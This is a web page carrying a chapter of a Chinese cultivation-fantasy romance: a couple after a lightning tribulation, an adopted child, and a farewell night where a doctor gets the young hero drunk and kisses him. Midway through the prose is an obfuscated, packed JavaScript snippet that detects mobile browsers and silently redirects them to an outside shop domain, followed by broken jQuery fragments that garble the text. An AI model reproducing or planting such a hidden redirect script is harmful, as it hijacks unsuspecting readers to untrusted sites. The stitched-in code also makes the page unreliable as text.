玩归玩,闹归闹,邬明清腿还软着,坐在床榻上未下地,替林意绵系后腰衣带,手还抖着。
看着少女背后为渡金丹雷劫,未完全痊愈的疤痕,他轻声问道:“绵绵,再次结丹那时候的天雷,劈下来疼吗?”
林意绵轻描淡写的回:“不疼的,明清哥哥,一下子就过去了。”
轻飘飘的一句话,邬明清怎可能相信,他也是和林意绵一起被天雷劈过的,知道天雷劈下来皮肉有多痛。
说不疼,是骗我。
邬明清这个时候连一个衣带的结都绑不好,林意绵的话在他脑子里停留。一个再简单不过的结系好,少女回过头看着他,拉起他的手,却没有将他拽起来,“都瘦了,明清哥哥。”
林意绵盯着他,思考片刻,认真道:“明清哥哥没有修为了,要多吃一些。”
少年乌黑的头发散落在身后,没有平时束起高马尾看上去端正利落,整个人瞬间添上了几分无害的脆弱感。
邬明清应了一声,任由眼前的人缓缓凑近,手指抚上他因为昨夜,至今还有些肿,破皮的唇瓣。
继而,少女一低头,一个晨起温存的吻便落在了他的唇上。
两唇相触及没有多久就要分开,如同泡影,邬明清不想这样,双手毫不犹豫的往前搭上林意绵的肩,微微起身再去讨来一个吻。
来来回回不知亲了几回了,邬明清本就不多的体力逐渐耗光,屁股跌回榻上喘气。
“绵绵,我如今修为暂失,你可会嫌弃我?”
林意绵结丹后,修为突飞猛进,邬明清努力了那么久又变回了一个需要人保护的废物。
“以前不会,现在也不会。明清哥哥我永远喜欢你。”
……
用过早膳之后,林意绵挽住他的手,陪着他一块去找时烟冉,邬明清一听说自己带回来的孩子打扰人家那么久,就急着接回来。
时烟冉的住处到处是散落的废丹药,空气中一股烧糊了的味道。
邬明清和林意绵找到她时,她正教一个小孩认药材。
一抬头便看见杵在门口,不愿意打扰她的两人,“阿青,今早听闻绵儿妹妹救你回来了,没来得及去看你。”
“都长这么高了?”邬明清猜眼前这个长高许多的小孩,就是当初那个在村子里带回来的孩子,除开身高,其他变化不大。
“小孩子长得快,我阿妹小时候还是颗蛋,一眨眼也有阿宝这么高了,他现在应该……也和你差不多大。”
谢阿宝白白净净的,比起原先瘦的可怜兮兮的脸,圆润了好些,被养的很好的模样。
“辛苦时姐姐照顾他。”
邬明清想要抱孩子,那孩子不太想要他抱的样子,拽住时烟冉的衣角不肯松手。
时烟冉:“阿青,你是我弟弟,为你做这些,无需与我客气。”
这时,扫了一圈周围的林意绵好奇的出声道:“小医仙姐姐,你们在炼丹么?”
“小孩子对这些喜欢,嚷嚷着要学,就随意教些,”时烟冉答完,拉起谢阿宝的手,指着邬明清给他认,“阿宝,你不记得他了?想想这个哥哥是谁?”
离别数月,谢阿宝这小孩,端详他许久,犹犹豫豫开口喊:“爹……”光记得邬明清是他爹了。
“乱喊的。”邬明清有些心虚的看了看林意绵,怕她瞎想些什么。
林意绵却道:“没关系,明清哥哥,这个孩子的身世我都知道。”
关于你的任何事情,我也都知道。
邬明清:“哦好。”没再和之前一般生气不理他就行。
在时烟冉的帮助下,邬明清如愿以偿抱起孩子,看着不但长高了,重量也跟着上来了。
时烟冉趁两人都在,顺势道出自己之后的安排:“二位,明日我就要走了,朔水宗的事情解决了,我也该回药王谷了。”
“这么快?”邬明清把谢阿宝放下来让他自己去玩那些药材药草。
“不算快了,我待的够久了,再耽误下去,药王谷搁置的事情也要堆积如山了。”时烟冉的回答中规中矩,等待邬明清回来的时间,她在朔水宗做了许多事情,等到他回来,她也差不多该离开,回药王谷了。
两人不是药王谷的人,没有立场劝时烟冉留下来,为了不打扰她明日赶路,出发前一晚需要好好休息,邬明清将孩子领了回去,总不能叫时烟冉带谢阿宝回药王谷。
时烟冉拿了一个包袱给他说是谢阿宝的小玩意和衣物,邬明清接下,连连道谢。
-
两人带着孩子一起回了月凝小筑,在林意绵的住处又待了半日,嘀嘀咕咕说了半日的话。晚饭吃完,邬明清独自带着谢阿宝回到噤声居的住处,发现沈云绾的屋子周围围了一圈结界,倒是他自己的那处屋子,这么久没人住,竟没有落太多灰尘,一看还是时常有人打扫的。
走进去放下包袱,有张叠好的纸张恰到好处的掉了出来,落入了邬明清的视野里。
邬明清让谢阿宝坐到床上去,不要捣乱,接着捡起那张叠的整整齐齐的信纸打开。
一展信纸,竟是时烟冉邀他在离别前一叙,信中语气如常,没有一点对要离开的不舍。
明日便是圆月,仲秋,团聚的节日,时烟冉在此停留数月,不得不回去了。
这场邀约,他是一定要前去赴的。
邬明清收起信纸,见谢阿宝目不转睛的盯着他那把黯淡无光的逍遥剑,没有修为,这把剑摆在角落里落了灰。
“阿宝喜欢我这把剑是不是?”
小孩点点头又摇摇头,喜欢又不喜欢的,又好像是知道这是邬明清的剑,不敢说喜欢。
“喜欢就是喜欢,不喜欢就是不喜欢。阿宝是哪种?告诉我?”邬明清拿起剑放进他手里,一看谢阿宝使出吃奶的劲举起了剑,顿时觉得小孩是个剑修好苗子,忍不住逗他:“阿宝,你娘把你托付给我,我会好好看着你长大,等我死了这把剑就是你的了,以后传给你好不好?”
谢阿宝这时候却对死亡这个词敏感了,连说几句:“不死,不要死,不要死。”或许是在这些天知道“死亡”是个不好的词,代表了分开和见不到面,格外不喜欢这个词语,用手捶打起自己的脑袋,情绪越来越激动,眼眶里却没有半滴眼泪。
“这里不会有人死去,阿宝放心,”邬明清被他异常的举止吓到了,自觉逗过了头,一手制止住他用来捶打的双手,另一只手摸摸谢阿宝的小脑袋,“骗你的,我乱说话,不要再打自己的脑袋了。”
谢阿宝听完,小小的身躯抱住他,半天才吐出几个字,语气委委屈屈:“爹爹,我想娘亲了。”
孩子对亲人的依恋是与生俱来的本能。
原来是想母亲了。
邬明清问他:“阿宝明日是想要和娘亲一起走吗?”时烟冉对谢阿宝这个孩子百般呵护,即便谢阿宝跟她一起回去药王谷那边,就凭时烟冉是药老孙女这个身份,谢阿宝一个孩子在那里,也不会受欺负,被苛待。
谢阿宝皱起小脸,想到什么:“那还是算了吧,我答应娘亲了。”
要看着爹爹,保护爹爹。
邬明清问:“答应什么了?”有什么是他不能知道的。
谢阿宝怎么都不肯说,说是约定好的事情,不能泄露。
“小机灵鬼。”反正不是随他就是了,又不是亲生的,半道养的孩子。
邬明清问半天没有答复,泄气了,给他擦了擦脸让早些睡觉。
谢阿宝没一会就睡着了,比寻常孩子睡得踏实,动也不动,甚至连身都没翻过一下,这让本来打算体验一把给孩子盖掉了的被子的邬明清大失所望,又待了一会便轻手轻脚出门赴邀去了。
-
时烟冉住的院子有月光洒下来。
邬明清到的时候,时烟冉的屋子还亮着,似乎是为了等他到来,而特地留的一点光亮。
“时姐姐,明日赶路辛苦,不如还是早些休息吧。”邬明清没有进屋,站在院子里喊了一句。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741384|203832||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
时烟冉听到了他来的动静,打开门看见他站在门外,眉眼止不住的高兴,叫他先去院子里坐坐,“阿青,来的正巧,等我拿点东西,我们叙叙旧。”
她取了一壶酒和一件衣裳出来放在石桌上。
而后,时烟冉问邬明清愿不愿意穿一次她阿妹的衣裙给她看。
邬明清不好拒绝,吞吞吐吐道:“我是男子,怎么能穿女子的衣裙,这不合适。”
时烟冉看着他的脸出了神,喃喃道:“阿青,不只是年岁,脸也很像。”阿青这个名字也像。
“阿青,我是不是没有和你说过剩下的故事。”
“剩下的故事……我和阿妹走散以后,某天阿妹独自一人回来了,回来什么也没说,不说他出去之后的遭遇,也不和我说话……他回来没多久就心甘情愿替我迈入那场祭祀的大火里……被慢慢烧死,最后什么也不剩下。”
“阿青,你知道被火烧的感觉吗?”
“这些烧伤的疤痕,是我想要去救阿妹留下的,我想救他,那些火焰在身上烧起来太痛了,我听不见他的声音,他不想要我听见他痛苦的叫喊,那个傻子竟然在被祭祀之火焚烧之前,亲手割了自己的舌头。”
时烟冉突然在他面前扯开自己领口衣物,邬明清吓了一跳,看见她胸口那处有大片的烧伤。
对于时烟冉来说,那些烧伤留下来的疤痕是可以祛除的,可她没有。
不明缘由的邬明清默默替她拉上衣服,没有说话。
果然,每个看上去很厉害的人身上都有属于自己的故事,这也算是补全设定了。
思考间,邬明清闻到了她身上的酒气,似乎在他来之前,时烟冉喝下了许多酒。
时烟冉断断续续才将这个故事说完,坐在石墩子上给邬明清倒了一杯酒,叫他尝尝。
这回又不叫他换衣服了,邬明清在她旁边坐下,问:“姐姐肯定很喜爱这个妹妹吧?我长得真的和她很像么?”合着他是被人当成替身了,这么长时间的替身,无知无觉,怪不得时烟冉当时会救他。
时烟冉仰头看着遥远的圆月,灌了满满一杯酒下肚:“像,像极了,不过……你不愿意换,我也不会强迫你做你不想做的事情。”
“你等等,先别喝了,要醉了,我去屋里换。”邬明清咬咬牙,在时烟冉探寻的目光下去了屋子里换衣服。
去屋里换完衣服回来的邬明清拿起杯子喝了一口,没什么感觉,只尝出来点味,他问时烟冉:“是酒吗?怎么感觉味道那么奇怪?”穿着女子衣裙的他浑身别扭劲儿,之前那一回是形势所迫,这回要不是看在时烟冉要走了的份上,邬明清这辈子不会穿裙子第二次。
时烟冉介绍道:“是从药王谷带来的酒,入喉不刺激先苦后回甘,即便是重病在身的病人也能来上几口。”
邬明清认为喝酒耽误修行,故而他很少喝酒,也不懂什么酒是好的,什么酒是不好的。之前在宋南芷那里待那么久也没有机会喝上一口魔界的酒,不然他就可以做个对比了。
“这种酒容易醉吗?”他有些口渴将杯子里的酒当水喝了个干净。
时烟冉见状给他续上:“不容易醉,只是酒这个东西,再怎么样,喝多了一样会醉。”
邬明清三杯酒喝下去,已然有些飘飘然。
时烟冉的面纱被喝醉的他当做碍事的东西一把扯掉,邬明清看着手里的面纱突然呆住了,似乎不知道这碍事的东西为何出现在自己手里,他拿着闻了闻,又看看时烟冉,打算还给她。
“张嘴。”时烟冉抬起他的下巴说道。
钻进来的舌头巧妙搜刮着邬明清口腔里的每一寸。
邬明清张嘴张开了一会,突然不想再亲了,用舌头将对方的舌头推出去。
他抿抿嘴,嘴里还有点酒味。
“怎么了?阿青,哪里不舒服?”这时候的时烟冉体贴极了,比平时的知心姐姐形象还要更甚,没等她有预谋的进行下一步,喝醉的少年在她面前倒头就睡。